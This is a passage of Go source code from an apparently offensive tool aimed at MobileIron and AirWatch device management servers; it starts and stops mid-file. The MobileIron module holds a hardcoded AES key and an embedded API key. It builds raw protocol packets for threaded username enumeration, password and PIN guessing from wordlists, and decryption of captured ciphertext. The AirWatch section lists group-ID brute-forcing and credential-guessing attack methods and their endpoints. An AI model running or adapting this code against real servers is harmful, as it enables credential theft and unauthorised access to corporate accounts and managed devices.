"Tenant/User/File required") 570 | return 571 | } 572 | m.auth() 573 | 574 | case "enum-onedrive-full": 575 | if m.opts.UserName == "" && m.opts.File == "" { 576 | m.logr.Errorf([]interface{}{m.opts.Method}, "User/File required") 577 | return 578 | } 579 | m.auth() 580 | 581 | case "enum-outlook": 582 | if m.opts.Email == "" && m.opts.File == "" { 583 | m.logr.Errorf([]interface{}{m.opts.Method}, "Email/File required") 584 | return 585 | } 586 | m.opts.UserName = m.opts.Email 587 | m.auth() 588 | 589 | case "auth-msol": 590 | if m.opts.Email == "" && m.opts.File == "" { 591 | m.logr.Errorf([]interface{}{m.opts.Method}, "Email/File required") 592 | return 593 | } 594 | m.opts.UserName = m.opts.Email 595 | m.auth() 596 | 597 | case "auth-outlook": 598 | if (m.opts.UserName == "" || m.opts.Email == "") && m.opts.File == "" { 599 | m.logr.Errorf([]interface{}{m.opts.Method}, "User/Email or Email/User-File required") 600 | return 601 | } 602 | m.auth() 603 | 604 | case "auth-async": 605 | if m.opts.Email == "" && m.opts.File == "" { 606 | m.logr.Errorf([]interface{}{m.opts.Method}, "Email/File required") 607 | return 608 | } 609 | m.opts.UserName = m.opts.Email 610 | m.auth() 611 | 612 | default: 613 | m.logr.StdOut(Methods) 614 | m.logr.Fatalf(nil, "Invalid Method Selected %v", m.opts.Method) 615 | } 616 | } 617 | -------------------------------------------------------------------------------- /charges/mobileiron/mobileiron.go: -------------------------------------------------------------------------------- 1 | package mobileiron 2 | 3 | import ( 4 | "bytes" 5 | "fmt" 6 | "regexp" 7 | "strconv" 8 | "strings" 9 | "time" 10 | 11 | "compress/zlib" 12 | "crypto/aes" 13 | "encoding/binary" 14 | "encoding/hex" 15 | 16 | "github.com/andreburgaud/crypt2go/ecb" 17 | "github.com/andreburgaud/crypt2go/padding" 18 | 19 | "dauthi/utils" 20 | ) 21 | 22 | type mdma struct { 23 | opts utils.ChargeOpts 24 | logr *utils.Logger 25 | count int 26 | valid bool 27 | cycle 28 | } 29 | 30 | type cycle struct { 31 | buff *chan bool 32 | block *chan bool 33 | length int 34 | api *utils.API 35 | } 36 | 37 | const ( 38 | // Usage is tool usage options 39 | Usage = ` 40 | MobileIron Options: 41 | -a User-Agent for request [default: MobileIron/OpenSSLWrapper (Dalvik VM)] 42 | -c MobileIron pinSetup cookie 43 | -P MobileIron Authentication TLS Port [default: 9997] 44 | 45 | -guid MobileIron GUID value 46 | -pin MobileIron Authentication PIN 47 | ` 48 | 49 | // Methods are available tool methods 50 | Methods = ` 51 | MobileIron Methods: 52 | disco MobileIron endpoint discovery query 53 | enum MobileIron username validation 54 | decrypt Decrypt MobileIron CipherText 55 | prof Profile the MobileIron provisioning details 56 | auth-user MobileIron user based authentication 57 | auth-pin MobileIron PIN authentication 58 | auth-pinpass MobileIron auth-pinpassword authentication 59 | auth-pinuser MobileIron PIN user based authentication 60 | ` 61 | 62 | ironAPI = `OTY1MzJmZWI2ZjM0NjUzZjQ2MDRkMDY3MTNkNWY3NGQ3MzJlZjlkNA==` 63 | ironKey = "\xdc\x70\x40\x3f\x78\xde\xc3\x04\x0e\xa5\x36\xc1\xd8\x8d\xa1\xab\xfa\xbb\x56\xda\x3d\xd1\x47\x10\xd2\x5a\x9a\x5f\xec\x6e\x24\xe0" 64 | 65 | pinInit = "MIPR\x00\x02\x00\x00\x00\x00{{SIZE}}{{GUID}}\x00\x00\x00\x00\x00\x00\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x1c\x00\x9b\x00\x98" + 66 | "RSN={{UUID}}\r\ncookie={{COOKIE}}\r\nmode=0\r\nplatform_flags=0x143\r\nchecksum={{UUID}}{{UUID}}{{UUID}}{{UUID}}\r\n\x00" 67 | 68 | authInitOP = "\x1c\x03\x4d\x03\x4a" 69 | userAuthOP = "\x1c\x03\xad\x03\xaa" 70 | pinAuthOP = "\x1c\x03\x78\x03\x75" 71 | pinPassAuthOP = "\x1c\x03\xd8\x03\xd5" 72 | 73 | aTemplate = "MIPR\x00\x02\x00\x00\x00\x00{{SIZE}}{{GUID}}\x00\x00\x00\x00\x00\x00\x00\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00{{OPCODE}}" + 74 | "RSN={{UUID}}\r\nmode=0\r\nplatform_flags=0x143\r\nsafety_net_enabled=true\r\n{{USER}}{{PASS}}{{PIN}}registration_operator_name=rustyIron\r\n" + 75 | "reg_uuid={{UUID}}\r\nCellularTechnology=GSM\r\nClient_build_date=Dec 02 2020 17:24:10\r\nClient_version=11.0.0.0.115R\r\nClient_version_code=593\r\n" + 76 | "afw_capable=true\r\nbrand=google\r\nclient_name=com.mobileiron\r\ncountry_code=0\r\ncurrent_mobile_number=+14469756315\r\ncurrent_operator_name=unknown\r\n" + 77 | "device=walleye\r\ndevice_id={{UUID}}\r\ndevice_manufacturer=Google\r\ndevice_model=Pixel 2\r\ndevice_type=GSM\r\ndisplay_size=2729X1440\r\n" + 78 | "home_operator=rustyIron::333333\r\nincremental=6934943\r\nip_address=172.16.34.14\r\nlocale=en-US\r\noperator=rustyIron\r\n" + 79 | "os_build_number=walleye-user 11 RP1A.201005.004.A1 6934943 release-keys\r\nos_version=30\r\nphone=+14469756315\r\nplatform=Android\r\nplatform_name=11\r\n" + 80 | "security_patch=2020-12-05\r\nsystem_version=11\r\n\x00" 81 | 82 | rawAuth = "MIPR\x00\x02\x00\x00\x00\x00{{SIZE}}{{GUID}}\x00\x00\x00\x00\x00\x00\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x78\x00\x17\x00\x14" + 83 | "{{USER}}:{{PASS}}\x00" 84 | 85 | gatewayCustomerAPI = `https://appgw.mobileiron.com/api/v1/gateway/customers/servers?api-key=%s&domain=%s` 86 | ) 87 | 88 | func encrypt(pt, key []byte) []byte { 89 | block, err := aes.NewCipher(key) 90 | if err != nil { 91 | panic(err.Error()) 92 | } 93 | mode := ecb.NewECBEncrypter(block) 94 | padder := padding.NewPkcs7Padding(mode.BlockSize()) 95 | pt, err = padder.Pad(pt) // padd last block of plaintext if block size less than block cipher size 96 | if err != nil { 97 | panic(err.Error()) 98 | } 99 | ct := make([]byte, len(pt)) 100 | mode.CryptBlocks(ct, pt) 101 | return ct 102 | } 103 | 104 | func decrypt(ct, key []byte) []byte { 105 | block, err := aes.NewCipher(key) 106 | if err != nil { 107 | panic(err.Error()) 108 | } 109 | mode := ecb.NewECBDecrypter(block) 110 | pt := make([]byte, len(ct)) 111 | mode.CryptBlocks(pt, ct) 112 | padder := padding.NewPkcs7Padding(mode.BlockSize()) 113 | pt, err = padder.Unpad(pt) // unpad plaintext after decryption 114 | if err != nil { 115 | panic(err.Error()) 116 | } 117 | return pt 118 | } 119 | 120 | func inflate(buf []byte) ([]byte, error) { 121 | b := bytes.NewReader(buf[32:]) 122 | 123 | r, err := zlib.NewReader(b) 124 | if err != nil { 125 | return nil, err 126 | } 127 | tbuf := new(bytes.Buffer) 128 | tbuf.ReadFrom(r) 129 | return tbuf.Bytes(), nil 130 | } 131 | 132 | func int2Byte(num int) []byte { 133 | data := new(bytes.Buffer) 134 | binary.Write(data, binary.BigEndian, uint32(num)) 135 | return data.Bytes() 136 | } 137 | 138 | // Init mdma with default values and return obj 139 | func Init(o utils.ChargeOpts) *mdma { 140 | if o.Agent == "" { 141 | o.Agent = "MobileIron/OpenSSLWrapper (Dalvik VM)" 142 | } 143 | if o.Port == "" { 144 | o.Port = "9997" 145 | } 146 | if o.RUUID { 147 | o.UUID = utils.RandUUID(8) 148 | } 149 | log := utils.NewLogger("mobileiron") 150 | 151 | return &mdma{ 152 | opts: o, 153 | logr: log, 154 | valid: false, 155 | cycle: cycle{ 156 | api: &utils.API{ 157 | Debug: o.Debug, 158 | Log: log, 159 | Proxy: o.Proxy}, 160 | }, 161 | } 162 | } 163 | 164 | // clone() copies an *mdma for process threading 165 | func (m *mdma) clone() *mdma { 166 | clone := Init(m.opts) // assign target 167 | clone.cycle.block = m.cycle.block 168 | clone.cycle.buff = m.cycle.buff 169 | 170 | return clone 171 | } 172 | 173 | // Wrapper to parse JSON/XML objects 174 | func (m *mdma) parser(data interface{}, p string) bool { 175 | switch p { 176 | case "json": 177 | err := m.cycle.api.Resp.ParseJSON(data) 178 | if err != nil { 179 | m.logr.Errorf([]interface{}{m.opts.Method}, "Response Marshall Error: %v", err) 180 | return true 181 | } 182 | 183 | case "xml": 184 | err := m.cycle.api.Resp.ParseXML(data) 185 | if err != nil { 186 | m.logr.Errorf([]interface{}{m.opts.Method}, "Response Marshall Error: %v", err) 187 | return true 188 | } 189 | } 190 | 191 | return false 192 | } 193 | 194 | func (m *mdma) disco() { 195 | m.cycle.api.Name = `gatewayCustomerAPI` 196 | m.cycle.api.URL = fmt.Sprintf(gatewayCustomerAPI, ironAPI, m.opts.Endpoint) 197 | m.cycle.api.Data = "" 198 | m.cycle.api.Method = `GET` 199 | m.cycle.api.Opts = &map[string]interface{}{ 200 | "Header": map[string][]string{ 201 | "User-Agent": []string{m.opts.Agent}}} 202 | 203 | m.cycle.api.WebCall() 204 | if m.cycle.api.Resp.Status != 200 { 205 | m.logr.Failf([]interface{}{m.opts.Endpoint}, "Discovery Failed") 206 | return 207 | } 208 | 209 | m.validate() 210 | } 211 | 212 | func (m *mdma) prof() { 213 | data := strings.ReplaceAll(aTemplate, "{{OPCODE}}", authInitOP) 214 | data = strings.ReplaceAll(data, "{{GUID}}", "\xff\xff\xff\xff") 215 | data = strings.ReplaceAll(data, "{{UUID}}", strings.ToLower(m.opts.UUID)) 216 | data = strings.ReplaceAll(data, "{{USER}}", "") 217 | data = strings.ReplaceAll(data, "{{PASS}}", "") 218 | data = strings.ReplaceAll(data, "{{PIN}}", "") 219 | buff := int2Byte(len(strings.ReplaceAll(data, "{{SIZE}}", "")) + 2) 220 | data = strings.ReplaceAll(data, "{{SIZE}}", string(buff[2:])) 221 | 222 | m.cycle.api.Name = m.opts.Method 223 | m.cycle.api.URL = m.opts.Endpoint + ":" + m.opts.Port 224 | m.cycle.api.Data = "" 225 | m.cycle.api.Method = `tcp` 226 | m.cycle.api.Opts = &map[string]interface{}{ 227 | `request`: []string{data}} 228 | m.cycle.api.Offset = 1024 229 | 230 | m.cycle.api.SocketTLSDial() 231 | if m.cycle.api.Resp.Body == nil { 232 | m.logr.Errorf([]interface{}{m.opts.Endpoint}, "Profile Failure") 233 | return 234 | } 235 | 236 | // Identify if buff data is zLib compressed 237 | if string(m.cycle.api.Resp.Body[32:34]) == "\x78\x9c" { 238 | buf, err := inflate(m.cycle.api.Resp.Body) 239 | if err != nil { 240 | if m.opts.Debug > 0 { 241 | m.logr.Errorf(nil, "Decompression Error: %v", err) 242 | return 243 | } 244 | } else { 245 | m.opts.Cookie = regexp.MustCompile(`cookie=(.*?)\n`).FindStringSubmatch(string(buf))[1] 246 | m.opts.UserName = regexp.MustCompile(`userId=(.*?)\n`).FindStringSubmatch(string(buf))[1] 247 | m.opts.GUID, _ = strconv.Atoi(regexp.MustCompile(`senderGUID=(.*?)\n`).FindStringSubmatch(string(buf))[1]) 248 | } 249 | } 250 | 251 | m.validate() 252 | } 253 | 254 | func (m *mdma) auth() { 255 | var file []byte 256 | var err error 257 | 258 | if m.opts.File != "" { 259 | file, err = utils.ReadFile(m.opts.File) 260 | if err != nil { 261 | m.logr.Fatalf([]interface{}{m.opts.File}, "File Read Failure") 262 | } 263 | } 264 | 265 | lines := strings.Split(string(file), "\n") 266 | block := make(chan bool, m.opts.Threads) 267 | buff := make(chan bool, len(lines)) 268 | m.cycle.block = &block 269 | m.cycle.buff = &buff 270 | m.cycle.length = len(lines) 271 | 272 | m.logr.Infof([]interface{}{m.opts.Method}, "threading %d values across %d threads", m.cycle.length, m.opts.Threads) 273 | 274 | for _, line := range lines { 275 | if len(lines) > 1 && line == "" { 276 | *m.cycle.buff <- true 277 | continue 278 | } 279 | 280 | target := m.clone() 281 | 282 | switch m.opts.Method { 283 | case "auth-user", "enum": 284 | if line != "" { 285 | target.opts.UserName = line 286 | } 287 | d1 := strings.ReplaceAll(aTemplate, "{{OPCODE}}", authInitOP) 288 | d1 = strings.ReplaceAll(d1, "{{GUID}}", "\xff\xff\xff\xff") 289 | d1 = strings.ReplaceAll(d1, "{{UUID}}", strings.ToLower(target.opts.UUID)) 290 | d1 = strings.ReplaceAll(d1, "{{USER}}", "") 291 | d1 = strings.ReplaceAll(d1, "{{PASS}}", "") 292 | d1 = strings.ReplaceAll(d1, "{{PIN}}", "") 293 | b1 := int2Byte(len(strings.ReplaceAll(d1, "{{SIZE}}", "")) + 2) 294 | 295 | d2 := strings.ReplaceAll(aTemplate, "{{OPCODE}}", userAuthOP) 296 | d2 = strings.ReplaceAll(d2, "{{GUID}}", "\xff\xff\xff\xff") 297 | d2 = strings.ReplaceAll(d2, "{{UUID}}", strings.ToLower(target.opts.UUID)) 298 | d2 = strings.ReplaceAll(d2, "{{USER}}", "auth_username="+strings.ToUpper(fmt.Sprintf("%x", encrypt([]byte(target.opts.UserName), []byte(ironKey))))+"\r\n") 299 | d2 = strings.ReplaceAll(d2, "{{PASS}}", "auth_password="+strings.ToUpper(fmt.Sprintf("%x", encrypt([]byte(target.opts.Password), []byte(ironKey))))+"\r\n") 300 | d2 = strings.ReplaceAll(d2, "{{PIN}}", "") 301 | b2 := int2Byte(len(strings.ReplaceAll(d2, "{{SIZE}}", "")) + 2) 302 | 303 | target.cycle.api.Name = m.opts.Method 304 | target.cycle.api.URL = target.opts.Endpoint + ":" + target.opts.Port 305 | target.cycle.api.Data = "" 306 | target.cycle.api.Method = `tcp` 307 | target.cycle.api.Opts = &map[string]interface{}{ 308 | `request`: []string{ 309 | strings.ReplaceAll(d1, "{{SIZE}}", string(b1[2:])), 310 | strings.ReplaceAll(d2, "{{SIZE}}", string(b2[2:]))}} 311 | target.cycle.api.Offset = 167 312 | 313 | if m.opts.Method == "enum" { 314 | for target.count = 0; target.count < 6; target.count++ { 315 | target.thread() 316 | } 317 | continue 318 | } 319 | 320 | case "auth-pin": 321 | if line != "" { 322 | target.opts.PIN = line 323 | } 324 | d1 := strings.ReplaceAll(aTemplate, "{{OPCODE}}", authInitOP) 325 | d1 = strings.ReplaceAll(d1, "{{GUID}}", "\xff\xff\xff\xff") 326 | d1 = strings.ReplaceAll(d1, "{{UUID}}", strings.ToLower(target.opts.UUID)) 327 | d1 = strings.ReplaceAll(d1, "{{USER}}", "") 328 | d1 = strings.ReplaceAll(d1, "{{PASS}}", "") 329 | d1 = strings.ReplaceAll(d1, "{{PIN}}", "") 330 | b1 := int2Byte(len(strings.ReplaceAll(d1, "{{SIZE}}", "")) + 2) 331 | 332 | d2 := strings.ReplaceAll(aTemplate, "{{OPCODE}}", pinAuthOP) 333 | d2 = strings.ReplaceAll(d2, "{{GUID}}", "\xff\xff\xff\xff") 334 | d2 = strings.ReplaceAll(d2, "{{UUID}}", strings.ToLower(target.opts.UUID)) 335 | d2 = strings.ReplaceAll(d2, "{{USER}}", "") 336 | d2 = strings.ReplaceAll(d2, "{{PASS}}", "") 337 | d2 = strings.ReplaceAll(d2, "{{PIN}}", "auth_pin="+strings.ToUpper(fmt.Sprintf("%x", encrypt([]byte(target.opts.PIN), []byte(ironKey))))+"\r\n") 338 | b2 := int2Byte(len(strings.ReplaceAll(d2, "{{SIZE}}", "")) + 2) 339 | 340 | target.cycle.api.Name = target.opts.Method 341 | target.cycle.api.URL = target.opts.Endpoint + ":" + target.opts.Port 342 | target.cycle.api.Data = "" 343 | target.cycle.api.Method = `tcp` 344 | target.cycle.api.Opts = &map[string]interface{}{ 345 | `request`: []string{ 346 | strings.ReplaceAll(d1, "{{SIZE}}", string(b1[2:])), 347 | strings.ReplaceAll(d2, "{{SIZE}}", string(b2[2:]))}} 348 | target.cycle.api.Offset = 167 349 | 350 | case "auth-pinpass": 351 | if line != "" { 352 | target.opts.PIN = line 353 | } 354 | d1 := strings.ReplaceAll(aTemplate, "{{OPCODE}}", authInitOP) 355 | d1 = strings.ReplaceAll(d1, "{{GUID}}", "\xff\xff\xff\xff") 356 | d1 = strings.ReplaceAll(d1, "{{UUID}}", strings.ToLower(target.opts.UUID)) 357 | d1 = strings.ReplaceAll(d1, "{{USER}}", "") 358 | d1 = strings.ReplaceAll(d1, "{{PASS}}", "") 359 | d1 = strings.ReplaceAll(d1, "{{PIN}}", "") 360 | b1 := int2Byte(len(strings.ReplaceAll(d1, "{{SIZE}}", "")) + 2) 361 | 362 | d2 := strings.ReplaceAll(aTemplate, "{{OPCODE}}", pinPassAuthOP) 363 | d2 = strings.ReplaceAll(d2, "{{GUID}}", "\xff\xff\xff\xff") 364 | d2 = strings.ReplaceAll(d2, "{{UUID}}", strings.ToLower(target.opts.UUID)) 365 | d2 = strings.ReplaceAll(d2, "{{USER}}", "auth_username="+strings.ToUpper(fmt.Sprintf("%x", encrypt([]byte(target.opts.UserName), []byte(ironKey))))+"\r\n") 366 | d2 = strings.ReplaceAll(d2, "{{PASS}}", "auth_password="+strings.ToUpper(fmt.Sprintf("%x", encrypt([]byte(target.opts.Password), []byte(ironKey))))+"\r\n") 367 | d2 = strings.ReplaceAll(d2, "{{PIN}}", "auth_pin="+strings.ToUpper(fmt.Sprintf("%x", encrypt([]byte(target.opts.PIN), []byte(ironKey))))+"\r\n") 368 | b2 := int2Byte(len(strings.ReplaceAll(d2, "{{SIZE}}", "")) + 2) 369 | 370 | target.cycle.api.Name = m.opts.Method 371 | target.cycle.api.URL = m.opts.Endpoint + ":" + m.opts.Port 372 | target.cycle.api.Data = "" 373 | target.cycle.api.Method = `tcp` 374 | target.cycle.api.Opts = &map[string]interface{}{ 375 | `request`: []string{ 376 | strings.ReplaceAll(d1, "{{SIZE}}", string(b1[2:])), 377 | strings.ReplaceAll(d2, "{{SIZE}}", string(b2[2:]))}} 378 | target.cycle.api.Offset = 167 379 | 380 | case "auth-pinuser": 381 | if line != "" { 382 | target.opts.UserName = line 383 | } 384 | d1 := strings.ReplaceAll(pinInit, "{{UUID}}", strings.ToLower(target.opts.UUID)) 385 | d1 = strings.ReplaceAll(d1, "{{GUID}}", string(int2Byte(target.opts.GUID))) 386 | d1 = strings.ReplaceAll(d1, "{{COOKIE}}", target.opts.Cookie) 387 | b1 := int2Byte(len(strings.ReplaceAll(d1, "{{SIZE}}", "")) + 2) 388 | 389 | d2 := strings.ReplaceAll(rawAuth, "{{GUID}}", string(int2Byte(target.opts.GUID))) 390 | d2 = strings.ReplaceAll(d2, "{{USER}}", target.opts.UserName) 391 | d2 = strings.ReplaceAll(d2, "{{PASS}}", target.opts.Password) 392 | b2 := int2Byte(len(strings.ReplaceAll(d2, "{{SIZE}}", "")) + 2) 393 | 394 | target.cycle.api.Name = target.opts.Method 395 | target.cycle.api.URL = target.opts.Endpoint + ":" + target.opts.Port 396 | target.cycle.api.Data = "" 397 | target.cycle.api.Method = `tcp` 398 | target.cycle.api.Opts = &map[string]interface{}{ 399 | `request`: []string{ 400 | strings.ReplaceAll(d1, "{{SIZE}}", string(b1[2:])), 401 | strings.ReplaceAll(d2, "{{SIZE}}", string(b2[2:]))}} 402 | target.cycle.api.Offset = 167 403 | 404 | } 405 | 406 | target.thread() 407 | } 408 | 409 | for i := 0; i < m.cycle.length; i++ { 410 | <-*m.cycle.buff 411 | } 412 | close(*m.cycle.block) 413 | close(*m.cycle.buff) 414 | } 415 | 416 | // thread represents the threading process to loop multiple requests 417 | func (m *mdma) thread() { 418 | *m.cycle.block <- true 419 | go func() { 420 | if m.valid { 421 | <-*m.cycle.block 422 | return 423 | } 424 | 425 | m.api.SocketTLSDial() 426 | if m.api.Resp.Status != 200 { 427 | if m.opts.Miss < m.opts.Retry { 428 | m.opts.Miss++ 429 | m.logr.Infof([]interface{}{m.opts.Tenant, m.opts.Endpoint, m.opts.UserName, m.opts.Password}, "Retrying Request") 430 | <-*m.cycle.block 431 | m.thread() 432 | return 433 | } 434 | m.logr.Failf([]interface{}{m.opts.UserName, m.opts.Password, m.opts.PIN, m.opts.GUID, m.opts.Cookie}, "Null Server Response") 435 | } 436 | m.validate() 437 | 438 | // Sleep interval through thread loop 439 | time.Sleep(time.Duration(m.opts.Sleep) * time.Second) 440 | <-*m.cycle.block 441 | *m.cycle.buff <- true 442 | }() 443 | } 444 | 445 | // result takes a byte array and validates the MobileIron response 446 | func (m *mdma) validate() { 447 | switch m.opts.Method { 448 | case "disco": 449 | var check struct { 450 | Result struct { 451 | HostName string `json:"hostName"` 452 | Domain string `json:"domain"` 453 | } `json:"result"` 454 | } 455 | if m.parser(&check, "json") { 456 | return 457 | } 458 | 459 | if check.Result.Domain != "" { 460 | m.logr.Successf([]interface{}{check.Result.HostName}, "Endpoint Discovery") 461 | return 462 | } 463 | m.logr.Failf([]interface{}{m.opts.Endpoint}, "Discovery Failed") 464 | 465 | case "prof", "auth-user", "enum", "auth-pin", "auth-pinpass", "auth-pinuser": 466 | type action struct { 467 | name string 468 | pre []interface{} 469 | post []interface{} 470 | } 471 | if strings.Contains(string(m.cycle.api.Resp.Body[32:35]), "\x00\x1d\x01") { 472 | if m.opts.Debug > 0 { 473 | m.logr.Infof([]interface{}{m.opts.Method}, "Initialization Successful") 474 | } 475 | } else if strings.Contains(string(m.cycle.api.Resp.Body[:2]), "\x00\x00") { 476 | m.logr.Failf([]interface{}{m.opts.Endpoint}, "Null Response") 477 | } 478 | 479 | msg := map[string]action{ 480 | "\x00\x1d\x01\x1b\x00\x00\x01\xf6\x01": action{"info", []interface{}{m.opts.Endpoint}, []interface{}{"User Authentication Endabled"}}, 481 | "\x00\x1d\x01\x16\x00\x00\x01\xf6\x01": action{"info", []interface{}{m.opts.Endpoint}, []interface{}{"PIN Authentication Enabled"}}, 482 | "\x00\x1d\x01\x2f\x00\x00\x01\xf6\x01": action{"info", []interface{}{m.opts.Endpoint}, []interface{}{"PIN-Password Authentication Enabled"}}, 483 | "\x00\x1d\x01\x2d\x00\x00\x01\xf6\x01": action{"info", []interface{}{m.opts.Endpoint}, []interface{}{"PIN-Password Authentication Enabled"}}, 484 | "\x00\x1d\x01\x1a\x00\x00\x01\xf6\x01": action{"info", []interface{}{m.opts.Endpoint}, []interface{}{"User Authentication + Mutual Certificate Enabled"}}, 485 | "\x00\x1d\x01\x2e\x00\x00\x01\xf6\x01": action{"info", []interface{}{m.opts.Endpoint}, []interface{}{"PIN Authentication + Mutual Certificate Authentication Enabled"}}, 486 | "\x00\x1d\x01\x15\x00\x00\x01\xf6\x01": action{"info", []interface{}{m.opts.Endpoint}, []interface{}{"PIN-Password + Mutual Certificate Authentication Enabled"}}, 487 | "\x00\x1d\x00\x32\x00\x00\x01\x93": action{"fail", []interface{}{m.opts.UserName, m.opts.Password, m.opts.PIN}, []interface{}{"Authentication Failure: %s", m.cycle.api.Resp.Body[42:167]}}, 488 | "\x00\x1d\x00\x64\x00\x00\x01\x93": action{"success", []interface{}{m.opts.UserName, m.opts.Password}, []interface{}{"Authentication Successful"}}, 489 | "\x78\x9c\xbd": action{"success", []interface{}{m.opts.UserName, m.opts.Password}, []interface{}{"Authentication Successful - Configuration Received"}}, 490 | "\x00\x1d\x00\x4c\x00\x00\x01\x93": action{"info", []interface{}{m.opts.UserName, m.opts.Password}, []interface{}{"Account Lockout: %s", m.cycle.api.Resp.Body[42:167]}}, 491 | "\x00\x1d\x00\x4b\x00\x00\x01\x93": action{"info", []interface{}{m.opts.UserName, m.opts.Password}, []interface{}{"Account Lockout: %s", m.cycle.api.Resp.Body[42:167]}}, 492 | "\x00\x1d\x00\x84\x00": action{"fail", []interface{}{m.opts.Endpoint}, []interface{}{"Device Unregistered: %s", m.cycle.api.Resp.Body[42:167]}}, 493 | "\x00\x00\x00\x53\x00": action{"fail", []interface{}{m.opts.Endpoint}, []interface{}{"Unknown Client ID: %s", m.cycle.api.Resp.Body[38:167]}}, 494 | "\x00\x1d\x00\x1b\x00\x00\x01\x90\x00": action{"fail", []interface{}{m.opts.Endpoint}, []interface{}{"Submission Failure: %s", m.cycle.api.Resp.Body[42:167]}}, 495 | } 496 | 497 | check := string(m.cycle.api.Resp.Body[32:41]) 498 | for key, val := range msg { 499 | fmt.Printf("%v\n", val) 500 | if strings.Contains(check, key) { 501 | switch val.name { 502 | case "info": 503 | m.logr.Infof(val.pre, val.post[0].(string), val.post[1:]...) 504 | return 505 | 506 | case "fail": 507 | m.logr.Failf(val.pre, val.post[0].(string), val.post[1:]...) 508 | return 509 | 510 | case "success": 511 | m.logr.Successf(val.pre, val.post[0].(string), val.post[1:]...) 512 | return 513 | } 514 | } 515 | } 516 | m.logr.Infof([]interface{}{m.opts.Endpoint, fmt.Sprintf("%x", m.cycle.api.Resp.Body[32:41])}, "Unknown Response: %x") 517 | 518 | } 519 | } 520 | 521 | // Call represents the switch function for activating all class methods 522 | func (m *mdma) Call() { 523 | switch m.opts.Method { 524 | case "disco": 525 | if m.opts.Endpoint == "" { 526 | m.logr.Errorf([]interface{}{m.opts.Method}, "Domain required") 527 | return 528 | } 529 | m.disco() 530 | 531 | case "prof": 532 | if m.opts.Endpoint == "" { 533 | m.logr.Errorf([]interface{}{m.opts.Method}, "Endpoint required") 534 | return 535 | } 536 | m.prof() 537 | 538 | case "decrypt": 539 | if m.opts.Endpoint == "" { 540 | m.logr.Errorf([]interface{}{m.opts.Method}, "CipherTXT required") 541 | return 542 | } 543 | b, _ := hex.DecodeString(m.opts.Endpoint) 544 | m.logr.Successf(nil, "Decrypted Cipher: %s - %q", m.opts.Endpoint, decrypt(b, []byte(ironKey))) 545 | 546 | case "auth-user", "enum", "auth-pin", "auth-pinpass", "auth-pinuser": 547 | m.auth() 548 | 549 | default: 550 | m.logr.StdOut(Methods) 551 | m.logr.Fatalf(nil, "Invalid Method Selected %v", m.opts.Method) 552 | } 553 | } 554 | -------------------------------------------------------------------------------- /charges/airwatch/airwatch.go: -------------------------------------------------------------------------------- 1 | package airwatch 2 | 3 | import ( 4 | "fmt" 5 | "strings" 6 | "time" 7 | 8 | "net/http" 9 | URL "net/url" 10 | 11 | "dauthi/utils" 12 | ) 13 | 14 | type mdma struct { 15 | opts utils.ChargeOpts 16 | logr *utils.Logger 17 | groups map[string]int 18 | sid string 19 | samlURL string 20 | tenantURL string 21 | cycle 22 | } 23 | 24 | type cycle struct { 25 | buff *chan bool 26 | block *chan bool 27 | length int 28 | api *utils.API 29 | } 30 | 31 | // Class global constant values 32 | const ( 33 | // Usage is tool usage options 34 | Usage = ` 35 | AirWatch Options: 36 | -a User-Agent [default: Agent/20.08.0.23/Android/11] 37 | 38 | -email Target email 39 | -gid AirWatch GroupID Value 40 | -sgid AirWatch sub-GroupID Value 41 | -sint AirWatch sub-GroupID INT value (Associated to multiple groups) 42 | ` 43 | // Methods are available tool methods 44 | Methods = ` 45 | AirWatch Methods: 46 | disco GroupID discovery query 47 | prof GroupID validation query 48 | enum-gid GroupID brute-force enumeration 49 | auth-box-login Boxer login SFA attack (Requires Email) 50 | auth-box-reg Boxer MDM registration SFA attack (Requires Email) 51 | auth-box-lgid Boxer login SFA attack w/ multi-group tenants 52 | auth-val AirWatch single-factor credential validation attack 53 | ` 54 | 55 | domainLookupV1 = `https://discovery.awmdm.com/autodiscovery/awcredentials.aws/v1/domainlookup/domain/%s` 56 | domainLookupV2 = `https://discovery.awmdm.com/autodiscovery/awcredentials.aws/v2/domainlookup/domain/%s` 57 | gbdomainLookupV2 = `https://discovery.awmdm.com/autodiscovery/DeviceRegistry.aws/v2/gbdomainlookup/domain/%s` 58 | catalogPortal = `https://%s/catalog-portal/services/api/adapters` 59 | emailDiscovery = `https://%s/DeviceManagement/Enrollment/EmailDiscovery` 60 | validateGroupIdentifier = `https://%s/deviceservices/enrollment/airwatchenroll.aws/validategroupidentifier` 61 | validateGroupSelector = `https://%s/deviceservices/enrollment/airwatchenroll.aws/validategroupselector` 62 | authenticationEndpoint = `https://%s/deviceservices/authenticationendpoint.aws` 63 | // authenticationEmailDisco = `https://%s/DeviceManagement/Enrollment/UserAuthentication` 64 | validateLoginCredentials = `https://%s/deviceservices/enrollment/airwatchenroll.aws/validatelogincredentials` 65 | workspaceoneLookup = `%s/catalog-portal/services/api/adapters` 66 | 67 | validateUserCredentials = `/DeviceManagement/Enrollment/validate-userCredentials` 68 | 69 | POSTemailDiscovery = `DevicePlatformId=2&EmailAddress=%s&FromGroupID=False&FromWelcome=False&Next=Next` 70 | POSTvalidateGroupIdentifier = `{"Header":{"SessionId":"00000000-0000-0000-0000-000000000000"},"Device":{"InternalIdentifier":"%s"},"GroupId":"%s"}` 71 | POSTvalidateGroupSelector = `{"Header":{"SessionId":"%s"},"Device":{"InternalIdentifier":"%s"},"GroupId":"%s","LocationGroupId":%d}` 72 | POSTauthenticationEndpointJSON = `{"ActivationCode":"%s","BundleId":"com.box.email","Udid":"%s","Username":"%s",` + 73 | `"AuthenticationType":"2","RequestingApp":"com.boxer.email","DeviceType":"2","Password":"%s","AuthenticationGroup":"com.air-watch.boxer"}` 74 | POSTauthenticationEndpointXML = `` + 75 | `` + 76 | `52` + 77 | `` 78 | POSTvalidateLoginCredentials = `{"Username":"%s","Password":"%s","Header":{"SessionId":"%s"},"SamlCompleteUrl":"aw:\/\/","Device":{"InternalIdentifier":"%s"}}` 79 | // POSTemailDiscoAuth = `SessionId=%s&DevicePlatformId=0&IsAndroidManagementApiEnrollment=False&UserName=%s&Password=%s&Next=Next` 80 | ) 81 | 82 | // Init mdma with default values and return obj 83 | func Init(o utils.ChargeOpts) *mdma { 84 | if o.Agent == "" { 85 | o.Agent = "Agent/20.08.0.23/Android/11" 86 | } 87 | if o.RUUID { 88 | o.UUID = utils.RandUUID(21) 89 | } 90 | log := utils.NewLogger("airwatch") 91 | 92 | return &mdma{ 93 | 